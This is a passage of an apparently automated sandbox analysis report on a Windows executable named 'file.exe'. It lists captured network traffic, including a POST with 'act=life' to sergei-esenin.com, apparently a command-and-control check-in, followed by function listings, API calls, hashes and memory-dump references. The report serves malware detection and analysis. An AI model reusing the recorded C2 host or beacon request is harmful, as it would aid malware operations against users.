'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-07 19:18:07 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-07 19:18:07 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	104.21.53.8	443	3040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:18:08 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-07 19:18:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 19:18:08 UTC	795	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cob1tq1o53nddb25o25uci4ebu; expires=Fri, 31 Jan 2025 13:04:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jfK4LTBTfkNkmy6rXv6T7i9RUTHka3nPmP0M4iRvpQ0vsw7upSUXc1dCtY3yjwNBtg70G7uOOYgO%2F5KvodI8tOec%2FWX5yvdhl7qeovYa3NAgqw21n0rZAh2KBXzGR2VyptxreA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf03c3db8b96a56-EWR
2024-10-07 19:18:08 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 19:18:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:18:03
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3f0000
File size:	1'861'632 bytes
MD5 hash:	5D0BEEE43C279E20DF593C949090FA0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	74.4%
Total number of Nodes:	39
Total number of Limit Nodes:	3

Executed Functions

Function 003FFCA0 Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

VY^_, xrefs: 003FFDFF
V, xrefs: 003FFEDC
t, xrefs: 003FFCBE
J|BJ, xrefs: 0040000D

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: J|BJ$V$VY^_$t
API String ID: 0-3701112211
Opcode ID: e05e90bea502082cdd2e9a7da92dd68087a141c82a5f1fbd0856ccdcbbc06196
Instruction ID: c7c035ecfef4531fe44fe9b1987198e66b66a24cc3d34c62bc851b13a418348a
Opcode Fuzzy Hash: e05e90bea502082cdd2e9a7da92dd68087a141c82a5f1fbd0856ccdcbbc06196
Instruction Fuzzy Hash: 0BD176745083809BD311DF14959472FBBE1AF96B48F18882DF9C99B392C33ACD09DB96

Function 003FD110 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 003FD2F1

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: efcb450b1356304b81b13ec9f77118b8ff21f5a903fec7a406f8f91205badf5d
Instruction ID: 18cff345ca8ff572922160868b9aca42529a7a1623d6138e239f55c78b2e8d42
Opcode Fuzzy Hash: efcb450b1356304b81b13ec9f77118b8ff21f5a903fec7a406f8f91205badf5d
Instruction Fuzzy Hash: AD41697440D344ABC302BB64D688A2EFBF6EF52744F148C1DE6C49B252C339D8149BAB

Function 00435700 Relevance: 1.6, APIs: 1, Instructions: 69
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00435784

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6ffa66cb29fb4d7d18402edf1442d6b0f34b1801691c377220107b2087fde430
Instruction ID: c694a02ede9778145d1dc2c6301aa7c740fc7f551d138f86769007564f8f1a80
Opcode Fuzzy Hash: 6ffa66cb29fb4d7d18402edf1442d6b0f34b1801691c377220107b2087fde430
Instruction Fuzzy Hash: 4311A07591C240EBC311AF28E841A1FBBF5AF9A715F05982DE4C49B311D339D811CB9B

Function 00435BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0043973D,005C003F,00000006,?,?,00000018,8C8D8A8B,?,?), ref: 00435BDE

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0043695B Relevance: 1.4, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 004369C5

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 191d5d22025441f8ba995667932cd7cd5eb3c25803f0540f27422c319281af53
Instruction ID: e3d9aedee62fc4610885d474ce7fe5e93504f82b9e38d6ab6e18d44bd931ab83
Opcode Fuzzy Hash: 191d5d22025441f8ba995667932cd7cd5eb3c25803f0540f27422c319281af53
Instruction Fuzzy Hash: 7B31ACB1508302AFD714EF14D49072BB7F1EF8A344F04A82DE5C697361E3389904CB5A

Function 0040049B Relevance: .3, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64aff05e4678cc82378d37e92e868f0fe33ee26d82aac00a21067578c1bef93e
Instruction ID: 13ff6893938f3b2d19df60683279111777f4436a6bf3ce6933e2adc4b71dd2b7
Opcode Fuzzy Hash: 64aff05e4678cc82378d37e92e868f0fe33ee26d82aac00a21067578c1bef93e
Instruction Fuzzy Hash: 6D915875600B00CFD7288F25E894B16B7F6FB89314F118A7DE8568BAA1D734E819CB94

Function 00400228 Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0640c4c040b98fa4c20b501acf0c99cf61c72d78b818f8477b473a4fcfa84034
Instruction ID: da8f7c49756e242ffa2b27cf56eb66054a516182c5de0e8bcbeec9cec1860f26
Opcode Fuzzy Hash: 0640c4c040b98fa4c20b501acf0c99cf61c72d78b818f8477b473a4fcfa84034
Instruction Fuzzy Hash: B9716874600700DFD7288F25E894B16B7F6FF8A314F10897DE8468BAA2D735E819CB64

Function 004399D0 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e946eedec42760ea25128a15e545c4aa6502139cb319aaae2b41939143bcde54
Instruction ID: 17c6d04c049d77bf57d48677e0b6c5bbbc54ddcc28ab424e23b9710346445f9e
Opcode Fuzzy Hash: e946eedec42760ea25128a15e545c4aa6502139cb319aaae2b41939143bcde54
Instruction Fuzzy Hash: 2341A134208340ABDB14EB15E890B2BF7E5EB89714F24992EF5C597351D379EC01CB5A

Function 004363B8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 08fadab7a47c9065d319153f55765b7dc4b4afd4df15fc431cced957b9d27dfd
Instruction ID: 234d55a1c5001634fe021f551a0a290e5ff48c6623638758697b492d7601f710
Opcode Fuzzy Hash: 08fadab7a47c9065d319153f55765b7dc4b4afd4df15fc431cced957b9d27dfd
Instruction Fuzzy Hash: E0312274648302BBDA24DB04CD82F3BB7A1EB99B15F64A52DF5815B2E1C374A8118B1E

Function 00400EEC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48de13846b729e00c6bec52f5e4e35252eca75d54205b5491f6ef102669c27e2
Instruction ID: e84ae36cce0bbf7f5f9ecb354928b5c86119ab099444ae0f40993c7f9f3027d6
Opcode Fuzzy Hash: 48de13846b729e00c6bec52f5e4e35252eca75d54205b5491f6ef102669c27e2
Instruction Fuzzy Hash: B921FAB4A0021A9FDB15CF94DC90BBEBBB1FB4A304F144859E911BB391C775A911CB68

Function 00433220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 004332A6

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 31b7fd4f03cdffc6bcc5aef7e7b047b2418027e85846db0144bc4cc4eca4e39f
Instruction ID: a3ec0b617c437520696d5fcb34f94091c583c8b21f4f8a27028363afdd466165
Opcode Fuzzy Hash: 31b7fd4f03cdffc6bcc5aef7e7b047b2418027e85846db0144bc4cc4eca4e39f
Instruction Fuzzy Hash: 49016D3450D2409BC701EF18E845A1ABBE8EF5AB01F054C6CE5C58B361D339DD60DB96

Function 00433202 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00433208

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 931e50b8446888c30bb45f735b7901db1edbb22ffa01322435b9536523424fc2
Instruction ID: 151f70f714c2580ef69141e0279d38aae973cc4ae4c3bbfb0ee5931390f6c399
Opcode Fuzzy Hash: 931e50b8446888c30bb45f735b7901db1edbb22ffa01322435b9536523424fc2
Instruction Fuzzy Hash: BEB012344400005FDA041B00EC0AF003510EB00605F800070A100040B1D5655864C558

Non-executed Functions

Function 004223E0 Relevance: 33.0, APIs: 4, Strings: 13, Instructions: 3298COMMON

Download Yara Rule

Strings

:, xrefs: 004232DD
3<, xrefs: 004232D6
mlc@, xrefs: 0042275C
ggxz, xrefs: 00422685
#v, xrefs: 0042344B, 00424861
%*+(, xrefs: 004240EF
|}&C, xrefs: 00422F21
f@~!, xrefs: 004225FF
`tii, xrefs: 00422693
Cx, xrefs: 0042453D
{l`~, xrefs: 0042268C
aenQ, xrefs: 0042276A
fedc, xrefs: 00422782

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: %*+($3<$:$Cx$`tii$aenQ$f@~!$fedc$ggxz$mlc@${l`~$|}&C$#v
API String ID: 0-2260822535
Opcode ID: 0a1627728179718f9cd8b468c5cbfd9451bd9d7d1a6ce1b81746a5da596b05bb
